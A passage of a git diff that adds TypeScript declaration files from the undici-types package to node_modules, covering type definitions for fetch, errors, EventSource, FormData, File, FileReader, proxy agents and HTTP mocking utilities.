boolean; + arrayBuffer(): Promise; + blob(): Promise; + formData(): Promise; + json(): Promise; + text(): Promise; + } + + export interface DispatchInterceptor { + (dispatch: Dispatcher['dispatch']): Dispatcher['dispatch'] + } +} diff --git a/node_modules/undici-types/env-http-proxy-agent.d.ts b/node_modules/undici-types/env-http-proxy-agent.d.ts new file mode 100644 index 000000000000..d6509dc673b4 --- /dev/null +++ b/node_modules/undici-types/env-http-proxy-agent.d.ts @@ -0,0 +1,21 @@ +import Agent from './agent' +import Dispatcher from './dispatcher' + +export default EnvHttpProxyAgent + +declare class EnvHttpProxyAgent extends Dispatcher { + constructor(opts?: EnvHttpProxyAgent.Options) + + dispatch(options: Agent.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; +} + +declare namespace EnvHttpProxyAgent { + export interface Options extends Agent.Options { + /** Overrides the value of the HTTP_PROXY environment variable */ + httpProxy?: string; + /** Overrides the value of the HTTPS_PROXY environment variable */ + httpsProxy?: string; + /** Overrides the value of the NO_PROXY environment variable */ + noProxy?: string; + } +} diff --git a/node_modules/undici-types/errors.d.ts b/node_modules/undici-types/errors.d.ts new file mode 100644 index 000000000000..f6fb73b5a903 --- /dev/null +++ b/node_modules/undici-types/errors.d.ts @@ -0,0 +1,149 @@ +import { IncomingHttpHeaders } from "./header"; +import Client from './client' + +export default Errors + +declare namespace Errors { + export class UndiciError extends Error { + name: string; + code: string; + } + + /** Connect timeout error. */ + export class ConnectTimeoutError extends UndiciError { + name: 'ConnectTimeoutError'; + code: 'UND_ERR_CONNECT_TIMEOUT'; + } + + /** A header exceeds the `headersTimeout` option. */ + export class HeadersTimeoutError extends UndiciError { + name: 'HeadersTimeoutError'; + code: 'UND_ERR_HEADERS_TIMEOUT'; + } + + /** Headers overflow error. */ + export class HeadersOverflowError extends UndiciError { + name: 'HeadersOverflowError' + code: 'UND_ERR_HEADERS_OVERFLOW' + } + + /** A body exceeds the `bodyTimeout` option. */ + export class BodyTimeoutError extends UndiciError { + name: 'BodyTimeoutError'; + code: 'UND_ERR_BODY_TIMEOUT'; + } + + export class ResponseStatusCodeError extends UndiciError { + constructor ( + message?: string, + statusCode?: number, + headers?: IncomingHttpHeaders | string[] | null, + body?: null | Record | string + ); + name: 'ResponseStatusCodeError'; + code: 'UND_ERR_RESPONSE_STATUS_CODE'; + body: null | Record | string + status: number + statusCode: number + headers: IncomingHttpHeaders | string[] | null; + } + + /** Passed an invalid argument. */ + export class InvalidArgumentError extends UndiciError { + name: 'InvalidArgumentError'; + code: 'UND_ERR_INVALID_ARG'; + } + + /** Returned an invalid value. */ + export class InvalidReturnValueError extends UndiciError { + name: 'InvalidReturnValueError'; + code: 'UND_ERR_INVALID_RETURN_VALUE'; + } + + /** The request has been aborted by the user. */ + export class RequestAbortedError extends UndiciError { + name: 'AbortError'; + code: 'UND_ERR_ABORTED'; + } + + /** Expected error with reason. */ + export class InformationalError extends UndiciError { + name: 'InformationalError'; + code: 'UND_ERR_INFO'; + } + + /** Request body length does not match content-length header. */ + export class RequestContentLengthMismatchError extends UndiciError { + name: 'RequestContentLengthMismatchError'; + code: 'UND_ERR_REQ_CONTENT_LENGTH_MISMATCH'; + } + + /** Response body length does not match content-length header. */ + export class ResponseContentLengthMismatchError extends UndiciError { + name: 'ResponseContentLengthMismatchError'; + code: 'UND_ERR_RES_CONTENT_LENGTH_MISMATCH'; + } + + /** Trying to use a destroyed client. */ + export class ClientDestroyedError extends UndiciError { + name: 'ClientDestroyedError'; + code: 'UND_ERR_DESTROYED'; + } + + /** Trying to use a closed client. */ + export class ClientClosedError extends UndiciError { + name: 'ClientClosedError'; + code: 'UND_ERR_CLOSED'; + } + + /** There is an error with the socket. */ + export class SocketError extends UndiciError { + name: 'SocketError'; + code: 'UND_ERR_SOCKET'; + socket: Client.SocketInfo | null + } + + /** Encountered unsupported functionality. */ + export class NotSupportedError extends UndiciError { + name: 'NotSupportedError'; + code: 'UND_ERR_NOT_SUPPORTED'; + } + + /** No upstream has been added to the BalancedPool. */ + export class BalancedPoolMissingUpstreamError extends UndiciError { + name: 'MissingUpstreamError'; + code: 'UND_ERR_BPL_MISSING_UPSTREAM'; + } + + export class HTTPParserError extends UndiciError { + name: 'HTTPParserError'; + code: string; + } + + /** The response exceed the length allowed. */ + export class ResponseExceededMaxSizeError extends UndiciError { + name: 'ResponseExceededMaxSizeError'; + code: 'UND_ERR_RES_EXCEEDED_MAX_SIZE'; + } + + export class RequestRetryError extends UndiciError { + constructor ( + message: string, + statusCode: number, + headers?: IncomingHttpHeaders | string[] | null, + body?: null | Record | string + ); + name: 'RequestRetryError'; + code: 'UND_ERR_REQ_RETRY'; + statusCode: number; + data: { + count: number; + }; + headers: Record; + } + + export class SecureProxyConnectionError extends UndiciError { + name: 'SecureProxyConnectionError'; + code: 'UND_ERR_PRX_TLS'; + } +} diff --git a/node_modules/undici-types/eventsource.d.ts b/node_modules/undici-types/eventsource.d.ts new file mode 100644 index 000000000000..eecda8c01511 --- /dev/null +++ b/node_modules/undici-types/eventsource.d.ts @@ -0,0 +1,63 @@ +import { MessageEvent, ErrorEvent } from './websocket' +import Dispatcher from './dispatcher' + +import { + EventTarget, + Event, + EventListenerOptions, + AddEventListenerOptions, + EventListenerOrEventListenerObject +} from './patch' + +interface EventSourceEventMap { + error: ErrorEvent + message: MessageEvent + open: Event +} + +interface EventSource extends EventTarget { + close(): void + readonly CLOSED: 2 + readonly CONNECTING: 0 + readonly OPEN: 1 + onerror: (this: EventSource, ev: ErrorEvent) => any + onmessage: (this: EventSource, ev: MessageEvent) => any + onopen: (this: EventSource, ev: Event) => any + readonly readyState: 0 | 1 | 2 + readonly url: string + readonly withCredentials: boolean + + addEventListener( + type: K, + listener: (this: EventSource, ev: EventSourceEventMap[K]) => any, + options?: boolean | AddEventListenerOptions + ): void + addEventListener( + type: string, + listener: EventListenerOrEventListenerObject, + options?: boolean | AddEventListenerOptions + ): void + removeEventListener( + type: K, + listener: (this: EventSource, ev: EventSourceEventMap[K]) => any, + options?: boolean | EventListenerOptions + ): void + removeEventListener( + type: string, + listener: EventListenerOrEventListenerObject, + options?: boolean | EventListenerOptions + ): void +} + +export declare const EventSource: { + prototype: EventSource + new (url: string | URL, init?: EventSourceInit): EventSource + readonly CLOSED: 2 + readonly CONNECTING: 0 + readonly OPEN: 1 +} + +interface EventSourceInit { + withCredentials?: boolean, + dispatcher?: Dispatcher +} diff --git a/node_modules/undici-types/fetch.d.ts b/node_modules/undici-types/fetch.d.ts new file mode 100644 index 000000000000..7e94375ecdc2 --- /dev/null +++ b/node_modules/undici-types/fetch.d.ts @@ -0,0 +1,209 @@ +// based on https://github.com/Ethan-Arrowood/undici-fetch/blob/249269714db874351589d2d364a0645d5160ae71/index.d.ts (MIT license) +// and https://github.com/node-fetch/node-fetch/blob/914ce6be5ec67a8bab63d68510aabf07cb818b6d/index.d.ts (MIT license) +/// + +import { Blob } from 'buffer' +import { URL, URLSearchParams } from 'url' +import { ReadableStream } from 'stream/web' +import { FormData } from './formdata' + +import Dispatcher from './dispatcher' + +export type RequestInfo = string | URL | Request + +export declare function fetch ( + input: RequestInfo, + init?: RequestInit +): Promise + +export type BodyInit = + | ArrayBuffer + | AsyncIterable + | Blob + | FormData + | Iterable + | NodeJS.ArrayBufferView + | URLSearchParams + | null + | string + +export class BodyMixin { + readonly body: ReadableStream | null + readonly bodyUsed: boolean + + readonly arrayBuffer: () => Promise + readonly blob: () => Promise + /** + * @deprecated This method is not recommended for parsing multipart/form-data bodies in server environments. + * It is recommended to use a library such as [@fastify/busboy](https://www.npmjs.com/package/@fastify/busboy) as follows: + * + * @example + * ```js + * import { Busboy } from '@fastify/busboy' + * import { Readable } from 'node:stream' + * + * const response = await fetch('...') + * const busboy = new Busboy({ headers: { 'content-type': response.headers.get('content-type') } }) + * + * // handle events emitted from `busboy` + * + * Readable.fromWeb(response.body).pipe(busboy) + * ``` + */ + readonly formData: () => Promise + readonly json: () => Promise + readonly text: () => Promise +} + +export interface SpecIterator { + next(...args: [] | [TNext]): IteratorResult; +} + +export interface SpecIterableIterator extends SpecIterator { + [Symbol.iterator](): SpecIterableIterator; +} + +export interface SpecIterable { + [Symbol.iterator](): SpecIterator; +} + +export type HeadersInit = string[][] | Record> | Headers + +export declare class Headers implements SpecIterable<[string, string]> { + constructor (init?: HeadersInit) + readonly append: (name: string, value: string) => void + readonly delete: (name: string) => void + readonly get: (name: string) => string | null + readonly has: (name: string) => boolean + readonly set: (name: string, value: string) => void + readonly getSetCookie: () => string[] + readonly forEach: ( + callbackfn: (value: string, key: string, iterable: Headers) => void, + thisArg?: unknown + ) => void + + readonly keys: () => SpecIterableIterator + readonly values: () => SpecIterableIterator + readonly entries: () => SpecIterableIterator<[string, string]> + readonly [Symbol.iterator]: () => SpecIterableIterator<[string, string]> +} + +export type RequestCache = + | 'default' + | 'force-cache' + | 'no-cache' + | 'no-store' + | 'only-if-cached' + | 'reload' + +export type RequestCredentials = 'omit' | 'include' | 'same-origin' + +type RequestDestination = + | '' + | 'audio' + | 'audioworklet' + | 'document' + | 'embed' + | 'font' + | 'image' + | 'manifest' + | 'object' + | 'paintworklet' + | 'report' + | 'script' + | 'sharedworker' + | 'style' + | 'track' + | 'video' + | 'worker' + | 'xslt' + +export interface RequestInit { + method?: string + keepalive?: boolean + headers?: HeadersInit + body?: BodyInit | null + redirect?: RequestRedirect + integrity?: string + signal?: AbortSignal | null + credentials?: RequestCredentials + mode?: RequestMode + referrer?: string + referrerPolicy?: ReferrerPolicy + window?: null + dispatcher?: Dispatcher + duplex?: RequestDuplex +} + +export type ReferrerPolicy = + | '' + | 'no-referrer' + | 'no-referrer-when-downgrade' + | 'origin' + | 'origin-when-cross-origin' + | 'same-origin' + | 'strict-origin' + | 'strict-origin-when-cross-origin' + | 'unsafe-url'; + +export type RequestMode = 'cors' | 'navigate' | 'no-cors' | 'same-origin' + +export type RequestRedirect = 'error' | 'follow' | 'manual' + +export type RequestDuplex = 'half' + +export declare class Request extends BodyMixin { + constructor (input: RequestInfo, init?: RequestInit) + + readonly cache: RequestCache + readonly credentials: RequestCredentials + readonly destination: RequestDestination + readonly headers: Headers + readonly integrity: string + readonly method: string + readonly mode: RequestMode + readonly redirect: RequestRedirect + readonly referrer: string + readonly referrerPolicy: ReferrerPolicy + readonly url: string + + readonly keepalive: boolean + readonly signal: AbortSignal + readonly duplex: RequestDuplex + + readonly clone: () => Request +} + +export interface ResponseInit { + readonly status?: number + readonly statusText?: string + readonly headers?: HeadersInit +} + +export type ResponseType = + | 'basic' + | 'cors' + | 'default' + | 'error' + | 'opaque' + | 'opaqueredirect' + +export type ResponseRedirectStatus = 301 | 302 | 303 | 307 | 308 + +export declare class Response extends BodyMixin { + constructor (body?: BodyInit, init?: ResponseInit) + + readonly headers: Headers + readonly ok: boolean + readonly status: number + readonly statusText: string + readonly type: ResponseType + readonly url: string + readonly redirected: boolean + + readonly clone: () => Response + + static error (): Response + static json(data: any, init?: ResponseInit): Response + static redirect (url: string | URL, status: ResponseRedirectStatus): Response +} diff --git a/node_modules/undici-types/file.d.ts b/node_modules/undici-types/file.d.ts new file mode 100644 index 000000000000..c695b7ab0baf --- /dev/null +++ b/node_modules/undici-types/file.d.ts @@ -0,0 +1,39 @@ +// Based on https://github.com/octet-stream/form-data/blob/2d0f0dc371517444ce1f22cdde13f51995d0953a/lib/File.ts (MIT) +/// + +import { Blob } from 'buffer' + +export interface BlobPropertyBag { + type?: string + endings?: 'native' | 'transparent' +} + +export interface FilePropertyBag extends BlobPropertyBag { + /** + * The last modified date of the file as the number of milliseconds since the Unix epoch (January 1, 1970 at midnight). Files without a known last modified date return the current date. + */ + lastModified?: number +} + +export declare class File extends Blob { + /** + * Creates a new File instance. + * + * @param fileBits An `Array` strings, or [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer), [`ArrayBufferView`](https://developer.mozilla.org/en-US/docs/Web/API/ArrayBufferView), [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) objects, or a mix of any of such objects, that will be put inside the [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File). + * @param fileName The name of the file. + * @param options An options object containing optional attributes for the file. + */ + constructor(fileBits: ReadonlyArray, fileName: string, options?: FilePropertyBag) + + /** + * Name of the file referenced by the File object. + */ + readonly name: string + + /** + * The last modified date of the file as the number of milliseconds since the Unix epoch (January 1, 1970 at midnight). Files without a known last modified date return the current date. + */ + readonly lastModified: number + + readonly [Symbol.toStringTag]: string +} diff --git a/node_modules/undici-types/filereader.d.ts b/node_modules/undici-types/filereader.d.ts new file mode 100644 index 000000000000..f05d231b2ffa --- /dev/null +++ b/node_modules/undici-types/filereader.d.ts @@ -0,0 +1,54 @@ +/// + +import { Blob } from 'buffer' +import { DOMException, Event, EventInit, EventTarget } from './patch' + +export declare class FileReader { + __proto__: EventTarget & FileReader + + constructor () + + readAsArrayBuffer (blob: Blob): void + readAsBinaryString (blob: Blob): void + readAsText (blob: Blob, encoding?: string): void + readAsDataURL (blob: Blob): void + + abort (): void + + static readonly EMPTY = 0 + static readonly LOADING = 1 + static readonly DONE = 2 + + readonly EMPTY = 0 + readonly LOADING = 1 + readonly DONE = 2 + + readonly readyState: number + + readonly result: string | ArrayBuffer | null + + readonly error: DOMException | null + + onloadstart: null | ((this: FileReader, event: ProgressEvent) => void) + onprogress: null | ((this: FileReader, event: ProgressEvent) => void) + onload: null | ((this: FileReader, event: ProgressEvent) => void) + onabort: null | ((this: FileReader, event: ProgressEvent) => void) + onerror: null | ((this: FileReader, event: ProgressEvent) => void) + onloadend: null | ((this: FileReader, event: ProgressEvent) => void) +} + +export interface ProgressEventInit extends EventInit { + lengthComputable?: boolean + loaded?: number + total?: number +} + +export declare class ProgressEvent { + __proto__: Event & ProgressEvent + + constructor (type: string, eventInitDict?: ProgressEventInit) + + readonly lengthComputable: boolean + readonly loaded: number + readonly total: number +} diff --git a/node_modules/undici-types/formdata.d.ts b/node_modules/undici-types/formdata.d.ts new file mode 100644 index 000000000000..e676b11ec342 --- /dev/null +++ b/node_modules/undici-types/formdata.d.ts @@ -0,0 +1,108 @@ +// Based on https://github.com/octet-stream/form-data/blob/2d0f0dc371517444ce1f22cdde13f51995d0953a/lib/FormData.ts (MIT) +/// + +import { File } from './file' +import { SpecIterableIterator } from './fetch' + +/** + * A `string` or `File` that represents a single value from a set of `FormData` key-value pairs. + */ +declare type FormDataEntryValue = string | File + +/** + * Provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using fetch(). + */ +export declare class FormData { + /** + * Appends a new value onto an existing key inside a FormData object, + * or adds the key if it does not already exist. + * + * The difference between `set()` and `append()` is that if the specified key already exists, `set()` will overwrite all existing values with the new one, whereas `append()` will append the new value onto the end of the existing set of values. + * + * @param name The name of the field whose data is contained in `value`. + * @param value The field's value. This can be [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) + or [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File). If none of these are specified the value is converted to a string. + * @param fileName The filename reported to the server, when a Blob or File is passed as the second parameter. The default filename for Blob objects is "blob". The default filename for File objects is the file's filename. + */ + append(name: string, value: unknown, fileName?: string): void + + /** + * Set a new value for an existing key inside FormData, + * or add the new field if it does not already exist. + * + * @param name The name of the field whose data is contained in `value`. + * @param value The field's value. This can be [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) + or [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File). If none of these are specified the value is converted to a string. + * @param fileName The filename reported to the server, when a Blob or File is passed as the second parameter. The default filename for Blob objects is "blob". The default filename for File objects is the file's filename. + * + */ + set(name: string, value: unknown, fileName?: string): void + + /** + * Returns the first value associated with a given key from within a `FormData` object. + * If you expect multiple values and want all of them, use the `getAll()` method instead. + * + * @param {string} name A name of the value you want to retrieve. + * + * @returns A `FormDataEntryValue` containing the value. If the key doesn't exist, the method returns null. + */ + get(name: string): FormDataEntryValue | null + + /** + * Returns all the values associated with a given key from within a `FormData` object. + * + * @param {string} name A name of the value you want to retrieve. + * + * @returns An array of `FormDataEntryValue` whose key matches the value passed in the `name` parameter. If the key doesn't exist, the method returns an empty list. + */ + getAll(name: string): FormDataEntryValue[] + + /** + * Returns a boolean stating whether a `FormData` object contains a certain key. + * + * @param name A string representing the name of the key you want to test for. + * + * @return A boolean value. + */ + has(name: string): boolean + + /** + * Deletes a key and its value(s) from a `FormData` object. + * + * @param name The name of the key you want to delete. + */ + delete(name: string): void + + /** + * Executes given callback function for each field of the FormData instance + */ + forEach: ( + callbackfn: (value: FormDataEntryValue, key: string, iterable: FormData) => void, + thisArg?: unknown + ) => void + + /** + * Returns an [`iterator`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols) allowing to go through all keys contained in this `FormData` object. + * Each key is a `string`. + */ + keys: () => SpecIterableIterator + + /** + * Returns an [`iterator`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols) allowing to go through all values contained in this object `FormData` object. + * Each value is a [`FormDataValue`](https://developer.mozilla.org/en-US/docs/Web/API/FormDataEntryValue). + */ + values: () => SpecIterableIterator + + /** + * Returns an [`iterator`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols) allowing to go through the `FormData` key/value pairs. + * The key of each pair is a string; the value is a [`FormDataValue`](https://developer.mozilla.org/en-US/docs/Web/API/FormDataEntryValue). + */ + entries: () => SpecIterableIterator<[string, FormDataEntryValue]> + + /** + * An alias for FormData#entries() + */ + [Symbol.iterator]: () => SpecIterableIterator<[string, FormDataEntryValue]> + + readonly [Symbol.toStringTag]: string +} diff --git a/node_modules/undici-types/global-dispatcher.d.ts b/node_modules/undici-types/global-dispatcher.d.ts new file mode 100644 index 000000000000..728f95ce23ce --- /dev/null +++ b/node_modules/undici-types/global-dispatcher.d.ts @@ -0,0 +1,9 @@ +import Dispatcher from "./dispatcher"; + +export { + getGlobalDispatcher, + setGlobalDispatcher +} + +declare function setGlobalDispatcher(dispatcher: DispatcherImplementation): void; +declare function getGlobalDispatcher(): Dispatcher; diff --git a/node_modules/undici-types/global-origin.d.ts b/node_modules/undici-types/global-origin.d.ts new file mode 100644 index 000000000000..322542d66756 --- /dev/null +++ b/node_modules/undici-types/global-origin.d.ts @@ -0,0 +1,7 @@ +export { + setGlobalOrigin, + getGlobalOrigin +} + +declare function setGlobalOrigin(origin: string | URL | undefined): void; +declare function getGlobalOrigin(): URL | undefined; \ No newline at end of file diff --git a/node_modules/undici-types/handlers.d.ts b/node_modules/undici-types/handlers.d.ts new file mode 100644 index 000000000000..afcda9a3e1db --- /dev/null +++ b/node_modules/undici-types/handlers.d.ts @@ -0,0 +1,15 @@ +import Dispatcher from "./dispatcher"; + +export declare class RedirectHandler implements Dispatcher.DispatchHandlers { + constructor( + dispatch: Dispatcher, + maxRedirections: number, + opts: Dispatcher.DispatchOptions, + handler: Dispatcher.DispatchHandlers, + redirectionLimitReached: boolean + ); +} + +export declare class DecoratorHandler implements Dispatcher.DispatchHandlers { + constructor(handler: Dispatcher.DispatchHandlers); +} diff --git a/node_modules/undici-types/header.d.ts b/node_modules/undici-types/header.d.ts new file mode 100644 index 000000000000..bfdb3296d4d1 --- /dev/null +++ b/node_modules/undici-types/header.d.ts @@ -0,0 +1,4 @@ +/** + * The header type declaration of `undici`. + */ +export type IncomingHttpHeaders = Record; diff --git a/node_modules/undici-types/index.d.ts b/node_modules/undici-types/index.d.ts new file mode 100644 index 000000000000..f6be35cd9bf4 --- /dev/null +++ b/node_modules/undici-types/index.d.ts @@ -0,0 +1,71 @@ +import Dispatcher from'./dispatcher' +import { setGlobalDispatcher, getGlobalDispatcher } from './global-dispatcher' +import { setGlobalOrigin, getGlobalOrigin } from './global-origin' +import Pool from'./pool' +import { RedirectHandler, DecoratorHandler } from './handlers' + +import BalancedPool from './balanced-pool' +import Client from'./client' +import buildConnector from'./connector' +import errors from'./errors' +import Agent from'./agent' +import MockClient from'./mock-client' +import MockPool from'./mock-pool' +import MockAgent from'./mock-agent' +import mockErrors from'./mock-errors' +import ProxyAgent from'./proxy-agent' +import EnvHttpProxyAgent from './env-http-proxy-agent' +import RetryHandler from'./retry-handler' +import RetryAgent from'./retry-agent' +import { request, pipeline, stream, connect, upgrade } from './api' +import interceptors from './interceptors' + +export * from './util' +export * from './cookies' +export * from './eventsource' +export * from './fetch' +export * from './file' +export * from './filereader' +export * from './formdata' +export * from './diagnostics-channel' +export * from './websocket' +export * from './content-type' +export * from './cache' +export { Interceptable } from './mock-interceptor' + +export { Dispatcher, BalancedPool, Pool, Client, buildConnector, errors, Agent, request, stream, pipeline, connect, upgrade, setGlobalDispatcher, getGlobalDispatcher, setGlobalOrigin, getGlobalOrigin, interceptors, MockClient, MockPool, MockAgent, mockErrors, ProxyAgent, EnvHttpProxyAgent, RedirectHandler, DecoratorHandler, RetryHandler, RetryAgent } +export default Undici + +declare namespace Undici { + var Dispatcher: typeof import('./dispatcher').default + var Pool: typeof import('./pool').default; + var RedirectHandler: typeof import ('./handlers').RedirectHandler + var DecoratorHandler: typeof import ('./handlers').DecoratorHandler + var RetryHandler: typeof import ('./retry-handler').default + var createRedirectInterceptor: typeof import ('./interceptors').default.createRedirectInterceptor + var BalancedPool: typeof import('./balanced-pool').default; + var Client: typeof import('./client').default; + var buildConnector: typeof import('./connector').default; + var errors: typeof import('./errors').default; + var Agent: typeof import('./agent').default; + var setGlobalDispatcher: typeof import('./global-dispatcher').setGlobalDispatcher; + var getGlobalDispatcher: typeof import('./global-dispatcher').getGlobalDispatcher; + var request: typeof import('./api').request; + var stream: typeof import('./api').stream; + var pipeline: typeof import('./api').pipeline; + var connect: typeof import('./api').connect; + var upgrade: typeof import('./api').upgrade; + var MockClient: typeof import('./mock-client').default; + var MockPool: typeof import('./mock-pool').default; + var MockAgent: typeof import('./mock-agent').default; + var mockErrors: typeof import('./mock-errors').default; + var fetch: typeof import('./fetch').fetch; + var Headers: typeof import('./fetch').Headers; + var Response: typeof import('./fetch').Response; + var Request: typeof import('./fetch').Request; + var FormData: typeof import('./formdata').FormData; + var File: typeof import('./file').File; + var FileReader: typeof import('./filereader').FileReader; + var caches: typeof import('./cache').caches; + var interceptors: typeof import('./interceptors').default; +} diff --git a/node_modules/undici-types/interceptors.d.ts b/node_modules/undici-types/interceptors.d.ts new file mode 100644 index 000000000000..fab6da08c0d9 --- /dev/null +++ b/node_modules/undici-types/interceptors.d.ts @@ -0,0 +1,15 @@ +import Dispatcher from "./dispatcher"; +import RetryHandler from "./retry-handler"; + +export default Interceptors; + +declare namespace Interceptors { + export type DumpInterceptorOpts = { maxSize?: number } + export type RetryInterceptorOpts = RetryHandler.RetryOptions + export type RedirectInterceptorOpts = { maxRedirections?: number } + + export function createRedirectInterceptor(opts: RedirectInterceptorOpts): Dispatcher.DispatcherComposeInterceptor + export function dump(opts?: DumpInterceptorOpts): Dispatcher.DispatcherComposeInterceptor + export function retry(opts?: RetryInterceptorOpts): Dispatcher.DispatcherComposeInterceptor + export function redirect(opts?: RedirectInterceptorOpts): Dispatcher.DispatcherComposeInterceptor +} diff --git a/node_modules/undici-types/mock-agent.d.ts b/node_modules/undici-types/mock-agent.d.ts new file mode 100644 index 000000000000..98cd645b29bd --- /dev/null +++ b/node_modules/undici-types/mock-agent.d.ts @@ -0,0 +1,50 @@ +import Agent from './agent' +import Dispatcher from './dispatcher' +import { Interceptable, MockInterceptor } from './mock-interceptor' +import MockDispatch = MockInterceptor.MockDispatch; + +export default MockAgent + +interface PendingInterceptor extends MockDispatch { + origin: string; +} + +/** A mocked Agent class that implements the Agent API. It allows one to intercept HTTP requests made through undici and return mocked responses instead. */ +declare class MockAgent extends Dispatcher { + constructor(options?: MockAgent.Options) + /** Creates and retrieves mock Dispatcher instances which can then be used to intercept HTTP requests. If the number of connections on the mock agent is set to 1, a MockClient instance is returned. Otherwise a MockPool instance is returned. */ + get(origin: string): TInterceptable; + get(origin: RegExp): TInterceptable; + get(origin: ((origin: string) => boolean)): TInterceptable; + /** Dispatches a mocked request. */ + dispatch(options: Agent.DispatchOptions, handler: Dispatcher.DispatchHandlers): boolean; + /** Closes the mock agent and waits for registered mock pools and clients to also close before resolving. */ + close(): Promise; + /** Disables mocking in MockAgent. */ + deactivate(): void; + /** Enables mocking in a MockAgent instance. When instantiated, a MockAgent is automatically activated. Therefore, this method is only effective after `MockAgent.deactivate` has been called. */ + activate(): void; + /** Define host matchers so only matching requests that aren't intercepted by the mock dispatchers will be attempted. */ + enableNetConnect(): void; + enableNetConnect(host: string): void; + enableNetConnect(host: RegExp): void; + enableNetConnect(host: ((host: string) => boolean)): void; + /** Causes all requests to throw when requests are not matched in a MockAgent intercept. */ + disableNetConnect(): void; + pendingInterceptors(): PendingInterceptor[]; + assertNoPendingInterceptors(options?: { + pendingInterceptorsFormatter?: PendingInterceptorsFormatter; + }): void; +} + +interface PendingInterceptorsFormatter { + format(pendingInterceptors: readonly PendingInterceptor[]): string; +} + +declare namespace MockAgent { + /** MockAgent options. */ + export interface Options extends Agent.Options { + /** A custom agent to be encapsulated by the MockAgent. */ + agent?: Agent; + } +} diff --git a/node_modules/undici-types/mock-client.d.ts b/node_modules/undici-types/mock-client.d.ts new file mode 100644 index 000000000000..51d008cc11c5 --- /dev/null +++ b/node_modules/undici-types/mock-client.d.ts @@ -0,0 +1,25 @@ +import Client from './client' +import Dispatcher from './dispatcher' +import MockAgent from './mock-agent' +import { MockInterceptor, Interceptable } from './mock-interceptor' + +export default MockClient + +/** MockClient extends the Client API and allows one to mock requests. */ +declare class MockClient extends Client implements Interceptable { + constructor(origin: string, options: MockClient.Options); + /** Intercepts any matching requests that use the same origin as this mock client. */ + intercept(options: MockInterceptor.Options): MockInterceptor; + /** Dispatches a mocked request. */ + dispatch(options: Dispatcher.DispatchOptions, handlers: Dispatcher.DispatchHandlers): boolean; + /** Closes the mock client and gracefully waits for enqueued requests to complete. */ + close(): Promise; +} + +declare namespace MockClient { + /** MockClient options. */ + export interface Options extends Client.Options { + /** The agent to associate this MockClient with. */ + agent: MockAgent; + } +} diff --git a/node_modules/undici-types/mock-errors.d.ts b/node_modules/undici-types/mock-errors.d.ts new file mode 100644 index 000000000000..3d9e727d70a4 --- /dev/null +++ b/node_modules/undici-types/mock-errors.d.ts @@ -0,0 +1,12 @@ +import Errors from './errors' + +export default MockErrors + +declare namespace MockErrors { + /** The request does not match any registered mock dispatches. */ + export class MockNotMatchedError extends Errors.UndiciError { + constructor(message?: string); + name: 'MockNotMatchedError'; + code: 'UND_MOCK_ERR_MOCK_NOT_MATCHED'; + } +} diff --git a/node_modules/undici-types/mock-interceptor.d.ts b/node_modules/undici-types/mock-interceptor.d.ts new file mode 100644 index 000000000000..33f3f14d1bfa --- /dev/null +++ b/node_modules/undici-types/mock-interceptor.d.ts @@ -0,0 +1,93 @@ +import { IncomingHttpHeaders } from './header' +import Dispatcher from './dispatcher'; +import { BodyInit, Headers } from './fetch' + +export { + Interceptable, + MockInterceptor, + MockScope +} + +/** The scope associated with a mock dispatch. */ +declare class MockScope { + constructor(mockDispatch: MockInterceptor.MockDispatch); + /** Delay a reply by a set amount of time in ms. */ + delay(waitInMs: number): MockScope; + /** Persist the defined mock data for the associated reply. It will return the defined mock data indefinitely. */ + persist(): MockScope; + /** Define a reply for a set amount of matching requests. */ + times(repeatTimes: number): MockScope; +} + +/** The interceptor for a Mock. */ +declare class MockInterceptor { + constructor(options: MockInterceptor.Options, mockDispatches: MockInterceptor.MockDispatch[]); + /** Mock an undici request with the defined reply. */ + reply(replyOptionsCallback: MockInterceptor.MockReplyOptionsCallback): MockScope; + reply( + statusCode: number, + data?: TData | Buffer | string | MockInterceptor.MockResponseDataHandler, + responseOptions?: MockInterceptor.MockResponseOptions + ): MockScope; + /** Mock an undici request by throwing the defined reply error. */ + replyWithError(error: TError): MockScope; + /** Set default reply headers on the interceptor for subsequent mocked replies. */ + defaultReplyHeaders(headers: IncomingHttpHeaders): MockInterceptor; + /** Set default reply trailers on the interceptor for subsequent mocked replies. */ + defaultReplyTrailers(trailers: Record): MockInterceptor; + /** Set automatically calculated content-length header on subsequent mocked replies. */ + replyContentLength(): MockInterceptor; +} + +declare namespace MockInterceptor { + /** MockInterceptor options. */ + export interface Options { + /** Path to intercept on. */ + path: string | RegExp | ((path: string) => boolean); + /** Method to intercept on. Defaults to GET. */ + method?: string | RegExp | ((method: string) => boolean); + /** Body to intercept on. */ + body?: string | RegExp | ((body: string) => boolean); + /** Headers to intercept on. */ + headers?: Record boolean)> | ((headers: Record) => boolean); + /** Query params to intercept on */ + query?: Record; + } + export interface MockDispatch extends Options { + times: number | null; + persist: boolean; + consumed: boolean; + data: MockDispatchData; + } + export interface MockDispatchData extends MockResponseOptions { + error: TError | null; + statusCode?: number; + data?: TData | string; + } + export interface MockResponseOptions { + headers?: IncomingHttpHeaders; + trailers?: Record; + } + + export interface MockResponseCallbackOptions { + path: string; + method: string; + headers?: Headers | Record; + origin?: string; + body?: BodyInit | Dispatcher.DispatchOptions['body'] | null; + maxRedirections?: number; + } + + export type MockResponseDataHandler = ( + opts: MockResponseCallbackOptions + ) => TData | Buffer | string; + + export type MockReplyOptionsCallback = ( + opts: MockResponseCallbackOptions + ) => { statusCode: number, data?: TData | Buffer | string, responseOptions?: MockResponseOptions } +} + +interface Interceptable extends Dispatcher { + /** Intercepts any matching requests that use the same origin as this mock client. */ + intercept(options: MockInterceptor.Options): MockInterceptor; +} diff --git a/node_modules/undici-types/mock-pool.d.ts b/node_modules/undici-types/mock-pool.d.ts new file mode 100644 index 000000000000..39e709aaf69a --- /dev/null +++ 